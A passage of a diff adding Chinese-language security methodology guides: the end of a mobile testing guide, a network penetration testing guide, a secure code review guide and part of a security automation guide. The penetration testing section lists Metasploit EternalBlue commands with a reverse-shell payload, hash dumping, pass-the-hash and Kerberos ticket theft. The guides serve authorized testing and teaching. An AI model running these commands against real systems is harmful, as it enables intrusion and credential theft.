[challenge.sender useCredential:[NSURLCredential credentialForTrust:challenge.protectionSpace.serverTrust]
|
||||
forAuthenticationChallenge:challenge];
|
||||
}
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### MobSF
|
||||
|
||||
```bash
|
||||
# 启动MobSF
|
||||
docker run -it -p 8000:8000 opensecurity/mobsf
|
||||
|
||||
# 上传应用进行分析
|
||||
# 支持Android和iOS
|
||||
```
|
||||
|
||||
### Frida
|
||||
|
||||
```bash
|
||||
# 安装Frida
|
||||
pip install frida-tools
|
||||
|
||||
# 运行脚本
|
||||
frida -U -f com.example.app -l script.js
|
||||
```
|
||||
|
||||
### Objection
|
||||
|
||||
```bash
|
||||
# 安装Objection
|
||||
pip install objection
|
||||
|
||||
# 启动Objection
|
||||
objection -g com.example.app explore
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**配置代理:**
|
||||
1. 配置Burp Suite监听器
|
||||
2. 移动设备设置代理
|
||||
3. 安装Burp证书
|
||||
4. 拦截和分析流量
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 应用安全
|
||||
- [ ] 代码混淆检查
|
||||
- [ ] 反编译防护
|
||||
- [ ] 调试防护
|
||||
- [ ] 证书绑定
|
||||
|
||||
### 数据安全
|
||||
- [ ] 数据加密检查
|
||||
- [ ] 密钥管理
|
||||
- [ ] 敏感数据存储
|
||||
- [ ] 数据传输安全
|
||||
|
||||
### 认证授权
|
||||
- [ ] 认证机制测试
|
||||
- [ ] Token管理
|
||||
- [ ] 会话管理
|
||||
- [ ] 生物识别
|
||||
|
||||
### 通信安全
|
||||
- [ ] TLS/SSL配置
|
||||
- [ ] 证书验证
|
||||
- [ ] API安全测试
|
||||
- [ ] 中间人攻击防护
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 硬编码密钥
|
||||
|
||||
**问题:**
|
||||
- API密钥硬编码
|
||||
- 密码硬编码
|
||||
- 加密密钥硬编码
|
||||
|
||||
**修复:**
|
||||
- 使用密钥管理服务
|
||||
- 使用环境变量
|
||||
- 使用安全存储
|
||||
|
||||
### 2. 不安全的存储
|
||||
|
||||
**问题:**
|
||||
- 明文存储敏感数据
|
||||
- 使用不安全的存储方式
|
||||
- 数据未加密
|
||||
|
||||
**修复:**
|
||||
- 使用加密存储
|
||||
- 使用Keychain/Keystore
|
||||
- 实施数据加密
|
||||
|
||||
### 3. 证书验证绕过
|
||||
|
||||
**问题:**
|
||||
- 不验证SSL证书
|
||||
- 接受自签名证书
|
||||
- 证书固定未实施
|
||||
|
||||
**修复:**
|
||||
- 实施证书固定
|
||||
- 验证证书链
|
||||
- 使用系统证书存储
|
||||
|
||||
### 4. 调试信息泄露
|
||||
|
||||
**问题:**
|
||||
- 日志包含敏感信息
|
||||
- 错误信息泄露
|
||||
- 调试模式未禁用
|
||||
|
||||
**修复:**
|
||||
- 移除调试代码
|
||||
- 限制日志输出
|
||||
- 生产环境禁用调试
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 代码安全
|
||||
|
||||
- 实施代码混淆
|
||||
- 禁用调试功能
|
||||
- 实施反调试保护
|
||||
- 使用证书绑定
|
||||
|
||||
### 2. 数据安全
|
||||
|
||||
- 加密敏感数据
|
||||
- 使用安全存储
|
||||
- 实施密钥管理
|
||||
- 限制数据访问
|
||||
|
||||
### 3. 通信安全
|
||||
|
||||
- 使用TLS/SSL
|
||||
- 实施证书固定
|
||||
- 验证服务器证书
|
||||
- 使用安全API
|
||||
|
||||
### 4. 认证安全
|
||||
|
||||
- 实施强认证
|
||||
- 安全Token管理
|
||||
- 实施会话管理
|
||||
- 使用生物识别
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行测试
|
||||
- 遵守法律法规
|
||||
- 注意不同平台的差异
|
||||
- 保护用户隐私
|
||||
@@ -0,0 +1,403 @@
|
||||
---
|
||||
name: network-penetration-testing
|
||||
description: 网络渗透测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 网络渗透测试
|
||||
|
||||
## 概述
|
||||
|
||||
网络渗透测试是评估网络基础设施安全性的重要环节。本技能提供网络渗透测试的方法、工具和最佳实践。
|
||||
|
||||
## 测试范围
|
||||
|
||||
### 1. 信息收集
|
||||
|
||||
**检查项目:**
|
||||
- 网络拓扑
|
||||
- 主机发现
|
||||
- 端口扫描
|
||||
- 服务识别
|
||||
|
||||
### 2. 漏洞扫描
|
||||
|
||||
**检查项目:**
|
||||
- 系统漏洞
|
||||
- 服务漏洞
|
||||
- 配置错误
|
||||
- 弱密码
|
||||
|
||||
### 3. 漏洞利用
|
||||
|
||||
**检查项目:**
|
||||
- 远程代码执行
|
||||
- 权限提升
|
||||
- 横向移动
|
||||
- 持久化
|
||||
|
||||
## 信息收集
|
||||
|
||||
### 网络扫描
|
||||
|
||||
**使用Nmap:**
|
||||
```bash
|
||||
# 主机发现
|
||||
nmap -sn 192.168.1.0/24
|
||||
|
||||
# 端口扫描
|
||||
nmap -sS -p- 192.168.1.100
|
||||
|
||||
# 服务识别
|
||||
nmap -sV -sC 192.168.1.100
|
||||
|
||||
# 操作系统识别
|
||||
nmap -O 192.168.1.100
|
||||
|
||||
# 完整扫描
|
||||
nmap -sS -sV -sC -O -p- 192.168.1.100
|
||||
```
|
||||
|
||||
**使用Masscan:**
|
||||
```bash
|
||||
# 快速端口扫描
|
||||
masscan -p1-65535 192.168.1.0/24 --rate=1000
|
||||
```
|
||||
|
||||
### 服务枚举
|
||||
|
||||
**SMB枚举:**
|
||||
```bash
|
||||
# 枚举SMB共享
|
||||
smbclient -L //192.168.1.100 -N
|
||||
|
||||
# 枚举SMB用户
|
||||
enum4linux -U 192.168.1.100
|
||||
|
||||
# 使用nmap脚本
|
||||
nmap --script smb-enum-shares,smb-enum-users 192.168.1.100
|
||||
```
|
||||
|
||||
**RPC枚举:**
|
||||
```bash
|
||||
# 枚举RPC服务
|
||||
rpcclient -U "" -N 192.168.1.100
|
||||
|
||||
# 使用nmap脚本
|
||||
nmap --script rpc-enum 192.168.1.100
|
||||
```
|
||||
|
||||
**SNMP枚举:**
|
||||
```bash
|
||||
# SNMP扫描
|
||||
snmpwalk -v2c -c public 192.168.1.100
|
||||
|
||||
# 使用onesixtyone
|
||||
onesixtyone -c wordlist.txt 192.168.1.0/24
|
||||
```
|
||||
|
||||
## 漏洞扫描
|
||||
|
||||
### 使用Nessus
|
||||
|
||||
```bash
|
||||
# 启动Nessus
|
||||
# 访问Web界面
|
||||
# 创建扫描任务
|
||||
# 分析扫描结果
|
||||
```
|
||||
|
||||
### 使用OpenVAS
|
||||
|
||||
```bash
|
||||
# 启动OpenVAS
|
||||
gvm-setup
|
||||
|
||||
# 访问Web界面
|
||||
# 创建扫描任务
|
||||
# 分析扫描结果
|
||||
```
|
||||
|
||||
### 使用Nmap脚本
|
||||
|
||||
```bash
|
||||
# 漏洞扫描
|
||||
nmap --script vuln 192.168.1.100
|
||||
|
||||
# 特定漏洞扫描
|
||||
nmap --script smb-vuln-ms17-010 192.168.1.100
|
||||
|
||||
# 所有脚本
|
||||
nmap --script all 192.168.1.100
|
||||
```
|
||||
|
||||
## 漏洞利用
|
||||
|
||||
### Metasploit
|
||||
|
||||
**基础使用:**
|
||||
```bash
|
||||
# 启动Metasploit
|
||||
msfconsole
|
||||
|
||||
# 搜索漏洞
|
||||
search ms17-010
|
||||
|
||||
# 使用模块
|
||||
use exploit/windows/smb/ms17_010_eternalblue
|
||||
|
||||
# 设置参数
|
||||
set RHOSTS 192.168.1.100
|
||||
set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
set LHOST 192.168.1.10
|
||||
set LPORT 4444
|
||||
|
||||
# 执行
|
||||
exploit
|
||||
```
|
||||
|
||||
**后渗透:**
|
||||
```bash
|
||||
# 获取系统信息
|
||||
sysinfo
|
||||
|
||||
# 获取权限
|
||||
getsystem
|
||||
|
||||
# 迁移进程
|
||||
migrate <pid>
|
||||
|
||||
# 获取哈希
|
||||
hashdump
|
||||
|
||||
# 获取密码
|
||||
run post/windows/gather/smart_hashdump
|
||||
```
|
||||
|
||||
### 常见漏洞利用
|
||||
|
||||
**EternalBlue:**
|
||||
```bash
|
||||
# 使用Metasploit
|
||||
use exploit/windows/smb/ms17_010_eternalblue
|
||||
|
||||
# 使用独立工具
|
||||
python eternalblue.py 192.168.1.100
|
||||
```
|
||||
|
||||
**BlueKeep:**
|
||||
```bash
|
||||
# 使用Metasploit
|
||||
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
|
||||
```
|
||||
|
||||
**SMBGhost:**
|
||||
```bash
|
||||
# 使用独立工具
|
||||
python smbghost.py 192.168.1.100
|
||||
```
|
||||
|
||||
## 横向移动
|
||||
|
||||
### 密码破解
|
||||
|
||||
**使用Hashcat:**
|
||||
```bash
|
||||
# 破解NTLM哈希
|
||||
hashcat -m 1000 hashes.txt wordlist.txt
|
||||
|
||||
# 破解LM哈希
|
||||
hashcat -m 3000 hashes.txt wordlist.txt
|
||||
|
||||
# 使用规则
|
||||
hashcat -m 1000 hashes.txt wordlist.txt -r rules/best64.rule
|
||||
```
|
||||
|
||||
**使用John:**
|
||||
```bash
|
||||
# 破解哈希
|
||||
john hashes.txt
|
||||
|
||||
# 使用字典
|
||||
john --wordlist=wordlist.txt hashes.txt
|
||||
|
||||
# 使用规则
|
||||
john --wordlist=wordlist.txt --rules hashes.txt
|
||||
```
|
||||
|
||||
### Pass-the-Hash
|
||||
|
||||
**使用Impacket:**
|
||||
```bash
|
||||
# SMB Pass-the-Hash
|
||||
python smbexec.py -hashes :<hash> domain/user@target
|
||||
|
||||
# WMI Pass-the-Hash
|
||||
python wmiexec.py -hashes :<hash> domain/user@target
|
||||
|
||||
# RDP Pass-the-Hash
|
||||
xfreerdp /u:user /pth:<hash> /v:target
|
||||
```
|
||||
|
||||
### 票据传递
|
||||
|
||||
**使用Mimikatz:**
|
||||
```bash
|
||||
# 提取票据
|
||||
sekurlsa::tickets /export
|
||||
|
||||
# 注入票据
|
||||
kerberos::ptt ticket.kirbi
|
||||
```
|
||||
|
||||
**使用Rubeus:**
|
||||
```bash
|
||||
# 请求票据
|
||||
Rubeus.exe asktgt /user:user /domain:domain /rc4:hash
|
||||
|
||||
# 注入票据
|
||||
Rubeus.exe ptt /ticket:ticket.kirbi
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Nmap
|
||||
|
||||
```bash
|
||||
# 完整扫描
|
||||
nmap -sS -sV -sC -O -p- -T4 target
|
||||
|
||||
# 隐蔽扫描
|
||||
nmap -sS -T2 -f -D RND:10 target
|
||||
|
||||
# UDP扫描
|
||||
nmap -sU -p- target
|
||||
```
|
||||
|
||||
### Metasploit
|
||||
|
||||
```bash
|
||||
# 启动框架
|
||||
msfconsole
|
||||
|
||||
# 数据库初始化
|
||||
msfdb init
|
||||
|
||||
# 导入扫描结果
|
||||
db_import nmap.xml
|
||||
|
||||
# 查看主机
|
||||
hosts
|
||||
|
||||
# 查看服务
|
||||
services
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**网络扫描:**
|
||||
1. 配置代理
|
||||
2. 浏览目标网络
|
||||
3. 分析流量
|
||||
4. 主动扫描
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 信息收集
|
||||
- [ ] 网络拓扑发现
|
||||
- [ ] 主机发现
|
||||
- [ ] 端口扫描
|
||||
- [ ] 服务识别
|
||||
- [ ] 操作系统识别
|
||||
|
||||
### 漏洞扫描
|
||||
- [ ] 系统漏洞扫描
|
||||
- [ ] 服务漏洞扫描
|
||||
- [ ] 配置错误检查
|
||||
- [ ] 弱密码检查
|
||||
|
||||
### 漏洞利用
|
||||
- [ ] 远程代码执行
|
||||
- [ ] 权限提升
|
||||
- [ ] 横向移动
|
||||
- [ ] 持久化
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 未打补丁的系统
|
||||
|
||||
**问题:**
|
||||
- 系统未及时更新
|
||||
- 存在已知漏洞
|
||||
- 补丁管理不当
|
||||
|
||||
**修复:**
|
||||
- 及时安装补丁
|
||||
- 建立补丁管理流程
|
||||
- 定期安全更新
|
||||
|
||||
### 2. 弱密码
|
||||
|
||||
**问题:**
|
||||
- 默认密码
|
||||
- 简单密码
|
||||
- 密码重用
|
||||
|
||||
**修复:**
|
||||
- 实施强密码策略
|
||||
- 启用多因素认证
|
||||
- 定期更换密码
|
||||
|
||||
### 3. 开放端口
|
||||
|
||||
**问题:**
|
||||
- 不必要的端口开放
|
||||
- 服务暴露
|
||||
- 防火墙配置错误
|
||||
|
||||
**修复:**
|
||||
- 关闭不必要端口
|
||||
- 实施防火墙规则
|
||||
- 使用VPN访问
|
||||
|
||||
### 4. 配置错误
|
||||
|
||||
**问题:**
|
||||
- 默认配置
|
||||
- 权限过大
|
||||
- 服务配置不当
|
||||
|
||||
**修复:**
|
||||
- 安全配置基线
|
||||
- 最小权限原则
|
||||
- 定期配置审查
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 信息收集
|
||||
|
||||
- 全面扫描
|
||||
- 多工具验证
|
||||
- 记录发现
|
||||
- 分析结果
|
||||
|
||||
### 2. 漏洞利用
|
||||
|
||||
- 授权测试
|
||||
- 最小影响
|
||||
- 记录操作
|
||||
- 及时清理
|
||||
|
||||
### 3. 报告编写
|
||||
|
||||
- 详细记录
|
||||
- 风险评级
|
||||
- 修复建议
|
||||
- 验证步骤
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行测试
|
||||
- 避免对生产系统造成影响
|
||||
- 遵守法律法规
|
||||
- 保护测试数据
|
||||
@@ -0,0 +1,286 @@
|
||||
---
|
||||
name: secure-code-review
|
||||
description: 安全代码审查的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 安全代码审查
|
||||
|
||||
## 概述
|
||||
|
||||
安全代码审查是识别代码中安全漏洞的重要方法。本技能提供安全代码审查的方法、工具和最佳实践。
|
||||
|
||||
## 审查范围
|
||||
|
||||
### 1. 输入验证
|
||||
|
||||
**检查项目:**
|
||||
- 用户输入验证
|
||||
- 参数验证
|
||||
- 数据过滤
|
||||
- 边界检查
|
||||
|
||||
### 2. 输出编码
|
||||
|
||||
**检查项目:**
|
||||
- XSS防护
|
||||
- 输出编码
|
||||
- 内容安全策略
|
||||
- 响应头设置
|
||||
|
||||
### 3. 认证授权
|
||||
|
||||
**检查项目:**
|
||||
- 认证机制
|
||||
- 会话管理
|
||||
- 权限控制
|
||||
- 密码处理
|
||||
|
||||
### 4. 加密和密钥
|
||||
|
||||
**检查项目:**
|
||||
- 数据加密
|
||||
- 密钥管理
|
||||
- 哈希算法
|
||||
- 随机数生成
|
||||
|
||||
## 审查方法
|
||||
|
||||
### 1. 静态分析
|
||||
|
||||
**使用SAST工具:**
|
||||
```bash
|
||||
# SonarQube
|
||||
sonar-scanner
|
||||
|
||||
# Checkmarx
|
||||
# 使用Web界面
|
||||
|
||||
# Fortify
|
||||
sourceanalyzer -b project build.sh
|
||||
sourceanalyzer -b project -scan
|
||||
|
||||
# Semgrep
|
||||
semgrep --config=auto .
|
||||
```
|
||||
|
||||
### 2. 手动审查
|
||||
|
||||
**审查清单:**
|
||||
- [ ] 输入验证
|
||||
- [ ] 输出编码
|
||||
- [ ] SQL注入
|
||||
- [ ] XSS漏洞
|
||||
- [ ] 认证授权
|
||||
- [ ] 加密使用
|
||||
- [ ] 错误处理
|
||||
- [ ] 日志记录
|
||||
|
||||
### 3. 代码模式识别
|
||||
|
||||
**危险函数:**
|
||||
```python
|
||||
# Python危险函数
|
||||
eval()
|
||||
exec()
|
||||
pickle.loads()
|
||||
os.system()
|
||||
subprocess.call()
|
||||
```
|
||||
|
||||
```java
|
||||
// Java危险函数
|
||||
Runtime.exec()
|
||||
ProcessBuilder()
|
||||
Class.forName()
|
||||
```
|
||||
|
||||
```php
|
||||
// PHP危险函数
|
||||
eval()
|
||||
exec()
|
||||
system()
|
||||
passthru()
|
||||
```
|
||||
|
||||
## 常见漏洞模式
|
||||
|
||||
### SQL注入
|
||||
|
||||
**危险代码:**
|
||||
```java
|
||||
String query = "SELECT * FROM users WHERE id = " + userId;
|
||||
Statement stmt = connection.createStatement();
|
||||
ResultSet rs = stmt.executeQuery(query);
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```java
|
||||
String query = "SELECT * FROM users WHERE id = ?";
|
||||
PreparedStatement stmt = connection.prepareStatement(query);
|
||||
stmt.setInt(1, userId);
|
||||
ResultSet rs = stmt.executeQuery();
|
||||
```
|
||||
|
||||
### XSS漏洞
|
||||
|
||||
**危险代码:**
|
||||
```javascript
|
||||
document.innerHTML = userInput;
|
||||
element.innerHTML = "<div>" + userInput + "</div>";
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```javascript
|
||||
element.textContent = userInput;
|
||||
element.setAttribute("data-value", userInput);
|
||||
// 或使用编码库
|
||||
element.innerHTML = escapeHtml(userInput);
|
||||
```
|
||||
|
||||
### 命令注入
|
||||
|
||||
**危险代码:**
|
||||
```python
|
||||
import os
|
||||
os.system("ping " + user_input)
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```python
|
||||
import subprocess
|
||||
subprocess.run(["ping", "-c", "1", validated_input])
|
||||
```
|
||||
|
||||
### 路径遍历
|
||||
|
||||
**危险代码:**
|
||||
```java
|
||||
String filePath = "/uploads/" + fileName;
|
||||
File file = new File(filePath);
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```java
|
||||
String basePath = "/uploads/";
|
||||
String fileName = Paths.get(fileName).getFileName().toString();
|
||||
String filePath = basePath + fileName;
|
||||
File file = new File(filePath);
|
||||
if (!file.getCanonicalPath().startsWith(basePath)) {
|
||||
throw new SecurityException("Invalid path");
|
||||
}
|
||||
```
|
||||
|
||||
### 硬编码密钥
|
||||
|
||||
**危险代码:**
|
||||
```java
|
||||
String apiKey = "1234567890abcdef";
|
||||
String password = "admin123";
|
||||
```
|
||||
|
||||
**安全代码:**
|
||||
```java
|
||||
String apiKey = System.getenv("API_KEY");
|
||||
String password = keyStore.getPassword("db_password");
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### SonarQube
|
||||
|
||||
```bash
|
||||
# 启动SonarQube
|
||||
docker run -d -p 9000:9000 sonarqube
|
||||
|
||||
# 运行扫描
|
||||
sonar-scanner \
|
||||
-Dsonar.projectKey=myproject \
|
||||
-Dsonar.sources=. \
|
||||
-Dsonar.host.url=http://localhost:9000
|
||||
```
|
||||
|
||||
### Semgrep
|
||||
|
||||
```bash
|
||||
# 安装
|
||||
pip install semgrep
|
||||
|
||||
# 运行扫描
|
||||
semgrep --config=auto .
|
||||
|
||||
# 使用规则
|
||||
semgrep --config=p/security-audit .
|
||||
```
|
||||
|
||||
### CodeQL
|
||||
|
||||
```bash
|
||||
# 创建数据库
|
||||
codeql database create database --language=java --source-root=.
|
||||
|
||||
# 运行查询
|
||||
codeql database analyze database security-and-quality.qls --format=sarif-latest
|
||||
```
|
||||
|
||||
## 审查清单
|
||||
|
||||
### 输入验证
|
||||
- [ ] 所有用户输入都经过验证
|
||||
- [ ] 使用白名单验证
|
||||
- [ ] 验证数据类型和范围
|
||||
- [ ] 处理特殊字符
|
||||
|
||||
### 输出编码
|
||||
- [ ] HTML输出编码
|
||||
- [ ] URL编码
|
||||
- [ ] JavaScript编码
|
||||
- [ ] SQL参数化
|
||||
|
||||
### 认证授权
|
||||
- [ ] 强密码策略
|
||||
- [ ] 安全的会话管理
|
||||
- [ ] 权限验证
|
||||
- [ ] 多因素认证
|
||||
|
||||
### 加密
|
||||
- [ ] 使用强加密算法
|
||||
- [ ] 密钥安全存储
|
||||
- [ ] 传输加密
|
||||
- [ ] 存储加密
|
||||
|
||||
### 错误处理
|
||||
- [ ] 不泄露敏感信息
|
||||
- [ ] 统一错误响应
|
||||
- [ ] 记录错误日志
|
||||
- [ ] 异常处理
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 安全编码规范
|
||||
|
||||
- 遵循OWASP Top 10
|
||||
- 使用安全编码指南
|
||||
- 代码审查流程
|
||||
- 安全培训
|
||||
|
||||
### 2. 自动化工具
|
||||
|
||||
- 集成SAST工具
|
||||
- CI/CD安全检查
|
||||
- 自动化扫描
|
||||
- 结果分析
|
||||
|
||||
### 3. 代码审查流程
|
||||
|
||||
- 同行审查
|
||||
- 安全专家审查
|
||||
- 定期审查
|
||||
- 记录问题
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 结合工具和人工审查
|
||||
- 关注业务逻辑漏洞
|
||||
- 定期更新工具规则
|
||||
- 建立安全编码文化
|
||||
@@ -0,0 +1,383 @@
|
||||
---
|
||||
name: security-automation
|
||||
description: 安全自动化的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 安全自动化
|
||||
|
||||
## 概述
|
||||
|
||||
安全自动化是提高安全运营效率的重要手段。本技能提供安全自动化的方法、工具和最佳实践。
|
||||
|
||||
## 自动化场景
|
||||
|
||||
### 1. 漏洞扫描
|
||||
|
||||
**自动化扫描:**
|
||||
- 定期扫描
|
||||
- CI/CD集成
|
||||
- 结果分析
|
||||
- 报告生成
|
||||
|
||||
### 2. 安全测试
|
||||
|
||||
**自动化测试:**
|
||||
- 单元测试
|
||||
- 集成测试
|
||||
- 安全测试
|
||||
- 回归测试
|
||||
|
||||
### 3. 事件响应
|
||||
|
||||
**自动化响应:**
|
||||
- 事件检测
|
||||
- 自动遏制
|
||||
- 通知告警
|
||||
- 证据收集
|
||||
|
||||
### 4. 合规检查
|
||||
|
||||
**自动化合规:**
|
||||
- 配置检查
|
||||
- 策略验证
|
||||
- 报告生成
|
||||
- 修复建议
|
||||
|
||||
## 工具和框架
|
||||
|
||||
### 漏洞扫描自动化
|
||||
|
||||
**使用Nessus API:**
|
||||
```python
|
||||
import requests
|
||||
|
||||
# 创建扫描
|
||||
def create_scan(target, scan_name):
|
||||
url = "https://nessus:8834/scans"
|
||||
headers = {"X-ApiKeys": "access_key:secret_key"}
|
||||
data = {
|
||||
"uuid": "template-uuid",
|
||||
"settings": {
|
||||
"name": scan_name,
|
||||
"text_targets": target
|
||||
}
|
||||
}
|
||||
response = requests.post(url, json=data, headers=headers)
|
||||
return response.json()
|
||||
|
||||
# 启动扫描
|
||||
def launch_scan(scan_id):
|
||||
url = f"https://nessus:8834/scans/{scan_id}/launch"
|
||||
headers = {"X-ApiKeys": "access_key:secret_key"}
|
||||
response = requests.post(url, headers=headers)
|
||||
return response.json()
|
||||
```
|
||||
|
||||
**使用OpenVAS API:**
|
||||
```python
|
||||
from gvm.connections import UnixSocketConnection
|
||||
from gvm.protocols.gmp import Gmp
|
||||
|
||||
# 连接OpenVAS
|
||||
connection = UnixSocketConnection()
|
||||
gmp = Gmp(connection)
|
||||
gmp.authenticate('username', 'password')
|
||||
|
||||
# 创建扫描任务
|
||||
target = gmp.create_target(name='target', hosts=['192.168.1.0/24'])
|
||||
config = gmp.get_configs()[0]
|
||||
scanner = gmp.get_scanners()[0]
|
||||
|
||||
task = gmp.create_task(
|
||||
name='scan_task',
|
||||
config_id=config['id'],
|
||||
target_id=target['id'],
|
||||
scanner_id=scanner['id']
|
||||
)
|
||||
|
||||
# 启动扫描
|
||||
gmp.start_task(task['id'])
|
||||
```
|
||||
|
||||
### CI/CD集成
|
||||
|
||||
**Jenkins Pipeline:**
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
stages {
|
||||
stage('Security Scan') {
|
||||
steps {
|
||||
sh 'npm audit'
|
||||
sh 'snyk test'
|
||||
sh 'sonar-scanner'
|
||||
}
|
||||
}
|
||||
stage('Vulnerability Scan') {
|
||||
steps {
|
||||
sh 'nmap --script vuln target'
|
||||
}
|
||||
}
|
||||
}
|
||||
post {
|
||||
always {
|
||||
publishHTML([
|
||||
reportDir: 'reports',
|
||||
reportFiles: 'report.html',
|
||||
reportName: 'Security Report'
|
||||
])
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**GitHub Actions:**
|
||||
```yaml
|
||||
name: Security Scan
|
||||
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
security-scan:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Run Snyk
|
||||
uses: snyk/actions/node@master
|
||||
env:
|
||||
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
|
||||
- name: Run SonarQube
|
||||
uses: sonarsource/sonarqube-scan-action@master
|
||||
env:
|
||||
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
|
||||
```
|
||||
|
||||
### 安全测试自动化
|
||||
|
||||
**使用OWASP ZAP:**
|
||||
```python
|
||||
from zapv2 import ZAPv2
|
||||
|
||||
# 启动ZAP
|
||||
zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8080'})
|
||||
|
||||
# 开始扫描
|
||||
zap.urlopen('http://target.com')
|
||||
zap.spider.scan('http://target.com')
|
||||
while int(zap.spider.status()) < 100:
|
||||
time.sleep(1)
|
||||
|
||||
# 主动扫描
|
||||
zap.ascan.scan('http://target.com')
|
||||
while int(zap.ascan.status()) < 100:
|
||||
time.sleep(1)
|
||||
|
||||
# 获取结果
|
||||
alerts = zap.core.alerts()
|
||||
```
|
||||
|
||||
**使用Burp Suite:**
|
||||
```python
|
||||
from burp import IBurpExtender, IScannerCheck
|
||||
|
||||
class BurpExtender(IBurpExtender, IScannerCheck):
|
||||
def registerExtenderCallbacks(self, callbacks):
|
||||
self._callbacks = callbacks
|
||||
self._helpers = callbacks.getHelpers()
|
||||
callbacks.setExtensionName("Security Automation")
|
||||
callbacks.registerScannerCheck(self)
|
||||
|
||||
def doPassiveScan(self, baseRequestResponse):
|
||||
# 被动扫描逻辑
|
||||
return None
|
||||
|
||||
def doActiveScan(self, baseRequestResponse, insertionPoint):
|
||||
# 主动扫描逻辑
|
||||
return None
|
||||
```
|
||||
|
||||
### 事件响应自动化
|
||||
|
||||
**使用Splunk:**
|
||||
```python
|
||||
import splunklib.client as client
|
||||
|
||||
# 连接Splunk
|
||||
service = client.connect(
|
||||
host='splunk.example.com',
|
||||
port=8089,
|
||||
username='admin',
|
||||
password='password'
|
||||
)
|
||||
|
||||
# 搜索安全事件
|
||||
search_query = 'index=security event_type="malware"'
|
||||
kwargs = {"earliest_time": "-1h", "latest_time": "now"}
|
||||
search = service.jobs.create(search_query, **kwargs)
|
||||
|
||||
# 处理结果
|
||||
for result in search:
|
||||
if result['severity'] == 'high':
|
||||
# 自动响应
|
||||
send_alert(result)
|
||||
isolate_system(result['host'])
|
||||
```
|
||||
|
||||
**使用ELK Stack:**
|
||||
```python
|
||||
from elasticsearch import Elasticsearch
|
||||
|
||||
# 连接Elasticsearch
|
||||
es = Elasticsearch(['localhost:9200'])
|
||||
|
||||
# 搜索安全事件
|
||||
query = {
|
||||
"query": {
|
||||
"match": {
|
||||
"event_type": "intrusion"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = es.search(index="security", body=query)
|
||||
|
||||
# 自动响应
|
||||
for hit in results['hits']['hits']:
|
||||
if hit['_source']['severity'] == 'critical':
|
||||
# 自动遏制
|
||||
block_ip(hit['_source']['src_ip'])
|
||||
send_alert(hit['_source'])
|
||||
```
|
||||
|
||||
## 自动化脚本
|
||||
|
||||
### 漏洞扫描脚本
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import subprocess
|
||||
import json
|
||||
import smtplib
|
||||
from email.mime.text import MIMEText
|
||||
|
||||
def run_nmap_scan(target):
|
||||
"""运行Nmap扫描"""
|
||||
result = subprocess.run(
|
||||
['nmap', '--script', 'vuln', '-oJ', '-', target],
|
||||
capture_output=True,
|
||||
text=True
|
||||
)
|
||||
return json.loads(result.stdout)
|
||||
|
||||
def analyze_results(results):
|
||||
"""分析扫描结果"""
|
||||
vulnerabilities = []
|
||||
for host in results.get('hosts', []):
|
||||
for port in host.get('ports', []):
|
||||
for script in port.get('scripts', []):
|
||||
if script.get('id') == 'vuln':
|
||||
vulnerabilities.append({
|
||||
'host': host['address'],
|
||||
'port': port['portid'],
|
||||
'vuln': script.get('output', '')
|
||||
})
|
||||
return vulnerabilities
|
||||
|
||||
def send_report(vulnerabilities):
|
||||
"""发送报告"""
|
||||
if vulnerabilities:
|
||||
msg = MIMEText(f"发现 {len(vulnerabilities)} 个漏洞")
|
||||
msg['Subject'] = '漏洞扫描报告'
|
||||
msg['From'] = 'security@example.com'
|
||||
msg['To'] = 'admin@example.com'
|
||||
|
||||
server = smtplib.SMTP('smtp.example.com')
|
||||
server.send_message(msg)
|
||||
server.quit()
|
||||
|
||||
if __name__ == '__main__':
|
||||
target = '192.168.1.0/24'
|
||||
results = run_nmap_scan(target)
|
||||
vulnerabilities = analyze_results(results)
|
||||
send_report(vulnerabilities)
|
||||
```
|
||||
|
||||
### 配置检查脚本
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import boto3
|
||||
import json
|
||||
|
||||
def check_s3_buckets():
|
||||
"""检查S3存储桶安全配置"""
|
||||
s3 = boto3.client('s3')
|
||||
buckets = s3.list_buckets()
|
||||
|
||||
issues = []
|
||||
for bucket in buckets['Buckets']:
|
||||
# 检查公开访问
|
||||
try:
|
||||
acl = s3.get_bucket_acl(Bucket=bucket['Name'])
|
||||
for grant in acl.get('Grants', []):
|
||||
if grant.get('Grantee', {}).get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers':
|
||||
issues.append({
|
||||
'bucket': bucket['Name'],
|
||||
'issue': 'Public access enabled'
|
||||
})
|
||||
except:
|
||||
pass
|
||||
|
||||
